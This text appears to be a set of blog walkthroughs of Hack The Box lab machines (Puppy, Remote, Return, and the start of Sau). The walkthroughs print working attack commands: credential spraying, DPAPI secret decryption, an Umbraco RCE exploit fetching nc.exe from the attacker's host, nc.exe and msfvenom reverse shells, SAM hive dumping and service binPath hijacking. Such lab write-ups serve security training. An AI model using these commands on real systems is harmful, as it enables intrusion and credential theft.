389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2049/tcp  open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp  open  iscsi?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
52543/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
52572/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m33s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 62785/tcp): CLEAN (Timeout)
|   Check 2 (port 58506/tcp): CLEAN (Timeout)
|   Check 3 (port 26380/udp): CLEAN (Timeout)
|   Check 4 (port 57090/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-05-18T14:26:36
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 18 12:57:50 2025 -- 1 IP address (1 host up) scanned in 1449.34 seconds

Enumeration

Port 139,445/SMB

let’s start our enumeration by smb service

as we have the credentials let’s enumerate shares and check if we have any share access

netexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares

we have interesting DEV share but we don’t have a READ permissions to it let’s enumerate the users using netexec

netexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users

for get a proper Picture of Domain

bloodhound-python -c all -d puppy.htb -ns 10.10.11.70 -u levi.james -p 'KingofAkron2025!'

let’s start the bloodhound, first start the neo4j database using sudo neo4j console

and then start bloodhound by bloodhound upload all json files to bloodhound

search for the levi.james user and mark user as owned

we can see that user levi.james is member of HR group who has GenericWrite Permissions on the Developers group

there are 3 members of developers group

we found that user ANT.EDWARDS is the member of senior developers group

who has GenericAll permissions over the ADAM.SILVER user

and the ADAM.SILVER user is member of Remote Management Users

let’s first add our user in developers group

net rpc group addmem "developers" "levi.james" -U puppy.htb/'levi.james'%'KingofAkron2025!' -S 10.10.11.70

now let’s check if we are added to group successfully or not

net rpc group members "developers" -U puppy.htb/'levi.james'%'KingofAkron2025!' -S 10.10.11.70

nice we are now member of developers group let’s check if we have access to DEV share now

netexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares

let’s connect to smb share - DEV using smbclinet

smbclient //10.10.11.70/DEV -U puppy.htb/levi.james%'KingofAkron2025!'

download all the files and folders

smb: \> recurse on
smb: \> prompt off
smb: \> mget *

we found the recover.kdbx file let’s try to crack it using keepass2john

ohh! so we got error, after some research i found that KDBX 4.X version currently not supported by keepass2john so we need to manually bruteforce the password

https://github.com/r3nt0n/keepass4brute

this script can help us to bruteforce the password

run the script

./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt

let’s open the keepass database file

keepassxc recovery.kdbx

we found password of 5 users

ADAM SILVER: HJKL2025!
ANTONY C. EDWARDS: Antman2025!
JAMIE WILLIAMSON: JamieLove2025!
SAMUEL BLAKE: ILY2025!
STEVE TUCKER: Steve2025!

we already have the user’s list let’s create another password list and spray all passwords for all users

netexec smb 10.10.11.70 -u users.txt -p password.txt --continue-on-success

we found valid credentials for the ant.edwards user

now as per our enumeration we know that the ant.edwards user is member of Senior devs group and this group have the GenericAll Permissions over the Adam.silver user

so let’s change the adam user’s password

net rpc password "adam.silver" '0xh3x!!' -U puppy.htb/ant.edwards%'Antman2025!' -S 10.10.11.70

now let’s see if the password is set to the user or not

netexec smb 10.10.11.70 -u adam.silver -p '0xh3x!!'

LoL! it shows the STATUS_ACCOUNT_DISABLED

so it means the account is not enabled but however we have a genericall permissions on the object can’t we enable this user account

after some research i found

512 – Normal account
514 – Disabled account
544 – Enabled + password not required

after some research i found that we can modify the userAccountControl attribute of the user and set it to 512 to enable the user

first we’ll check the userAccountControl attribute of the user

bloodyAD --host 10.10.11.70 -d 'puppy.htb' -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver'

update the userAccountControl attribute

bloodyAD --host 10.10.11.70 -d 'puppy.htb' -u 'ant.edwards' -p 'Antman2025!' set object -v 512 'adam.silver' userAccountControl

again checking the userAccountControl

If you get Error while updating:

ldapsearch -x -H ldap://10.10.11.70 -D 'ant.edwards@puppy.htb' -w 'Antman2025!' -b 'DC=puppy,DC=htb' '(sAMAccountName=adam.silver)' distinguishedName userAccountControl

here 514 means user account is disabled

create a enable.ldif file with following contents

dn: CN=Adam D. Silver,CN=Users,DC=puppy,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 512

ldapmodify -x -H ldap://10.10.11.70 -D 'ant.edwards@puppy.htb' -w 'Antman2025!' -f enable.ldif

run ldapmodify command to modify the value of userAccountControl

verify if user account attribute has been changed or not

nice let’s try to login now

Lol!! No success, we need to reset password again, looks like after few minutes it automatically resets the password

checking the winrm access after resetting password

netexec winrm 10.10.11.70 -u adam.silver -p '0xh3x!!'

let’s connect to machine using evil-winrm

evil-winrm -i 10.10.11.70 -u adam.silver -p '0xh3x!!'

i don’t like evil-winrm when it comes to performance let’s upload nc.exe and get fast and proper shell

Start-Process -FilePath "C:\Users\adam.silver\Documents\nc.exe" -ArgumentList "10.10.14.64 445 -e cmd" -WindowStyle Hidden

Checking the C drive directory we found the interesting Backups

let’s check what the folder is contains

we found the interesting site-backup zip file let’s transfer it to our kali machine for further enumeration

start smb server on kali machine using impacket-smbserver

impacket-smbserver test . -user admin -password admin -smb2support

on windows machine:

to connect the smb server

net use \\10.10.14.64 admin /user:admin

and then copy the zip file to smb share

copy site-backup-2024-12-30.zip \\10.10.14.64\test

from kali machine, unzip the file

unzip site-backup-2024-12-30.zip

i found nms-auth-config.xml.bak file inside the web directory puppy

let’s check the group membership of the steph.cooper user

let’s login as steph.cooper, but the user itself doesn’t have any special permissions or the group membership

but another user steph.cooper_adm has some interesting group membership

Now It’s clear that we need the password for this user to get Administrator access.

after enumerating for while and trying password reuse nothing works

DPAPI Secrets

The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password. They are usually located at:

C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID

Below are common paths of hidden files that usually contain DPAPI-protected data.

batch

C:\Users\$USER\AppData\Local\Microsoft\Credentials\

C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\

so we know that the master key located at the

C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\

i used the ls -h to view the hidden files as well

let’s download the master key first

to overcome this i’ll use the smb server from my kali to directly copy it to share

start smbserver

impacket-smbserver test . -user admin -password admin -smb2support

on windows machine:

connect to smb server

net use \\10.10.14.64 admin /user:admin

copy the file to smb share

copy C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 \\10.10.14.64\test

same way copy the encrypted blob

copy C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 \\10.10.14.64\test

now i’ll use the impacket-dpapi

impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password ChefSteph2025!

now i’ll use this key to decrypt the encrypted blob

impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

looks like the password of steph.cooper_adm user

netexec smb 10.10.11.70 -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'

Bingo!! let’s use the impacket-psexec to get system shell

impacket-psexec puppy.htb/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70

Remote

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Remote
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Sun May  4 00:24:29 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up, received reset ttl 127 (0.33s latency).
Scanned at 2025-05-04 00:24:30 EDT for 363s
Not shown: 65518 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
2049/tcp  open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 59m53s
| smb2-time: 
|   date: 2025-05-04T05:27:10
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 45222/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 43655/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 15893/udp): CLEAN (Timeout)
|   Check 4 (port 59691/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 00:30:33 2025 -- 1 IP address (1 host up) scanned in 364.72 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80, let’s visit the website

let’s check what web technology is used in website using whatweb

whatweb http://10.10.10.180

visiting the website and walking through it i found the contact page

the information says that Umbraco Forms is required to render this form.It's a breeze to install, all you have to do is go to the Umbraco Forms section in the back office and click Install, that's it! :)

and clicking on Go to Back office and Install forms button redirect us to umbarco login form

nothing interesting here, but we’ll keep this information in our back-pocket and then move to another port

Port 21/FTP

let’s check if FTP allows anonymous login

ftp 10.10.10.180

let’s check if we have permissions to upload files using put command first i’ll create a blank file using touch _0xh3x

and then use put command to upload file put _0xh3x

nothing interesting here.

Port 139,445/SMB

let’s check smb for null session/Anonymous login

smbclient -L //10.10.10.180 -N

Port 2049/NFS

The Network File System (NFS) is a distributed file system protocol that allows a client to access files over a network as if those files were on the client’s local file system. NFS is often used in enterprise environments for file sharing and data access. NFS uses the Transmission Control Protocol (TCP) to provide reliable delivery of data over the network and typically runs on TCP port 2049, which is the default port for NFS over TCP.

let’s start our enumeration on NFS by using showmount command, we’ll see if any unauthorized or public share available on server

showmount -e 10.10.10.180

-e : display the list of remote file systems on the NFS server.

we can see that site_backups has the access for everyone, in simple terms it allows anonymous access, let’s mount it to our kali machine

mkdir /tmp/_0xh3x && sudo mount 10.10.10.180:/site_backups /tmp/_0xh3x

it is the backup directory of the main site running port 80

i started enumerating the files for credentials but upon google search i found Umbraco doesn’t store password in config files

after poking around a bit i found Umbarco.sdf file in APP_DATA folder which plays role of database for the Ubmraco

i used strings command to find any useful information from it

strings Umbraco.sdf| head -20

i found 2 interesting usernames admin and ssmith and after that the likely the hash for the user’s password

let’s try to crack hash using john

hash is → b8be16afba8c314ad33d812f22a04991b90e2aaa

john admin.hash --wordlist=/usr/share/wordlists/rockyou.txt

bingo! we got the password, let’s use this password to login to umbraco panel with credentials:

→ admin@htb.local:baconandcheese

clicking on Profile icon i found the version of Umbraco CMS

Quick google search reveals that it is vulnerable to RCE → https://www.exploit-db.com/exploits/49488

download the exploit and run it

python3 49488.py -u 'admin@htb.local' -p baconandcheese -i http://10.10.10.180 -c 'whoami'

let’s get the shell

i’ll transfer the nc.exe to target machine using IWR command and then get the shell

start the python3 http server
run below command to download nc.exe to target machine in C:\Users\Public\nc.exe

python3 49488.py -u 'admin@htb.local' -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-Command iwr -uri http://10.10.14.17:80/nc.exe -outfile /users/public/nc.exe'

then start nc listener on port 443 rlwrap -r nc -nvlp 443

execute nc.exe to get shell

python3 49488.py -u 'admin@htb.local' -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-Command /users/public/nc.exe 10.10.14.17 443 -e cmd'

let’s check what permissions our user has using whoami /priv command

so we have the SeImpersonatePrivilege, let’s use GodPotato to exploit this and get SYSTEM shell

i’ll transfer the godpotato binary to target machine same way

run simple command whoami to check if we are running as system user

god.exe -cmd whoami

great now let’s get proper Shell

start the netcat listener on port 445

god.exe -cmd "\users\public\nc.exe 10.10.14.17 445 -e cmd"

we got shell on port 445

Return

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Return
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Wed Apr 23 10:43:25 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.108
Nmap scan report for 10.10.11.108
Host is up, received reset ttl 127 (0.30s latency).
Scanned at 2025-04-23 10:43:26 IST for 177s
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-23 05:33:39Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49682/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 18m33s
| smb2-time: 
|   date: 2025-04-23T05:34:43
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 31931/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 54836/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26260/udp): CLEAN (Failed to receive data)
|   Check 4 (port 40628/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 23 10:46:23 2025 -- 1 IP address (1 host up) scanned in 177.80 seconds

Enumeration

Port 80/HTTP

port 80 is running http web server, let’s open it in browser

it’s Printer Admin panel, let’s check settings for it

so it contains username and password but password is not visible

inspecting the element we found that the input type is text and the default value is ********* means password is not masked, another interesting thing i found is server address and port now the port is 389 (LDAP) also the update button looks interesting, now may be it is making LDAP request to the specified server! to test this let’s start nc listener on port 389 using rlwrap -r nc -nvlp 389 and specify our kali machine’s ip in server address field click on update

we found possible password for svc-printer user, let’s confirm this via netexec

netexec smb 10.10.11.108 -u svc-printer -p '1edFg43012!!'

Yes it is!, let’s enumerate users on the machine via —users option

netexec smb 10.10.11.108 -u svc-printer -p '1edFg43012!!' --users

Ok so there’s only 2 users svc-printer and Administrator, let’s check if we have winrm access or not

netexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'

netexec said PWNED i heard “Access Granted!”

evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'

starting post-enum i’ll first check for what privileges svc-printer has using whoami /priv command

here we found 2 privileges interesting

SeBackupPrivilege: to dump sam and system hive extract administrator’s NTLM hash and psexec as administrator
SeLoadDriverPrivilege: We can load malicious driver which should execute as system and we’ll get the shell

let’s go for 1st path, we’ll save the sam and system hive using reg save

reg save hklm\sam \users\svc-printer\documents\sam.save

and for system hive

reg save hklm\system.save \users\svc-printer\documents\system.save

download both files using download command

let’s use impacket-secretsdump to dump NTLM hash from sam database

impacket-secretsdump -system system.save -sam sam.save LOCAL

let’s use administrator’s hash to psexec to machine

but it didn’t gave us the access, i also tried to exploit SeLoadDriverPrivilege i didn’t find way to escalate the privs.

then i checked the user is member of Server Operators group

Server Operator group

The Server Operators group is a built-in security group in Windows Server environments. Members of this group are granted specific administrative privileges that allow them to perform server-related tasks without having full administrative rights. This group is primarily designed for delegated server management.

Key Privileges of Server Operators

Members of the Server Operators group have the following privileges:

Start and Stop Services:
- They can start, stop, and pause services on the server, which is crucial for server maintenance and troubleshooting.
Manage Shared Resources:
- Server Operators can create, modify, and delete shared folders and manage printer shares, allowing them to administer shared resources effectively.
Backup and Restore Operations:
- Members can back up files and restore files from backup, making it easier to manage data recovery processes.
Log on Locally:
- Members have the ability to log on locally to the server, which allows them to directly manage the server through its console.
Manage Local Users and Groups:
- They can add or remove users from local groups and manage local accounts, which is important for user management tasks.

member of server operators group can modify the services, but i got error while running sc query then i decided to go for blind move and i search from VMware service (vmtools)

sc qc vmtools

nice let’s create a malicious reverse shell exe using msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=445 -f exe -o rev.exe

transfer the rev.exe to target machine and edit the vmtools service to set binPath to rev.exe (in this case it’s C:\temp\rev.exe)

now let’s check if the service binPath is changed or not using sc qc vmtools

start netcat listener on port 445 - rlwrap -r nc -nvlp 445

and then stop and start the service and you’ll get the rev shell as system

sc stop vmtools

sc start vmtools

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Sau
OS type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr 12 03:33:53 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.224
Nmap scan report for 10.10.11.224
Host is up, received echo-reply ttl 63 (0.38s latency).
Scanned at 2025-04-12 03:33:55 EDT for 252s
Not shown: 65530 closed tcp ports (reset), 3 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdY38bkvujLwIK0QnFT+VOKT9zjKiPbyHpE+cVhus9r/6I/uqPzLylknIEjMYOVbFbVd8rTGzbmXKJBdRK61WioiPlKjbqvhO/YTnlkIRXm4jxQgs+xB0l9WkQ0CdHoo/Xe3v7TBije+lqjQ2tvhUY1LH8qBmPIywCbUvyvAGvK92wQpk6CIuHnz6IIIvuZdSklB02JzQGlJgeV54kWySeUKa9RoyapbIqruBqB13esE2/5VWyav0Oq5POjQWOWeiXA6yhIlJjl7NzTp/SFNGHVhkUMSVdA7rQJf10XCafS84IMv55DPSZxwVzt8TLsh2ULTpX8FELRVESVBMxV5rMWLplIA5ScIEnEMUR9HImFVH1dzK+E8W20zZp+toLBO1Nz4/Q/9yLhJ4Et+jcjTdI1LMVeo3VZw3Tp7KHTPsIRnr8ml+3O86e0PK+qsFASDNgb3yU61FEDfA0GwPDa5QxLdknId0bsJeHdbmVUW3zax8EvR+pIraJfuibIEQxZyM=
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEFMztyG0X2EUodqQ3reKn1PJNniZ4nfvqlM7XLxvF1OIzOphb7VEz4SCG6nXXNACQafGd6dIM/1Z8tp662Stbk=
|   256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYYQRfQHc6ZlP/emxzvwNILdPPElXTjMCOGH6iejfmi
55555/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 12 Apr 2025 07:36:18 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 12 Apr 2025 07:35:41 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 12 Apr 2025 07:35:43 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94SVN%I=7%D=4/12%Time=67FA17F4%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sat,\x2012\x20Apr\
SF:x202025\x2007:35:41\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\
SF:"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection
SF::\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x
SF:20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sat,\x2012\x20Apr\
SF:x202025\x2007:35:43\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Opti
SF:ons:\x20nosniff\r\nDate:\x20Sat,\x2012\x20Apr\x202025\x2007:36:18\x20GM
SF:T\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20
SF:name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}
SF:\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
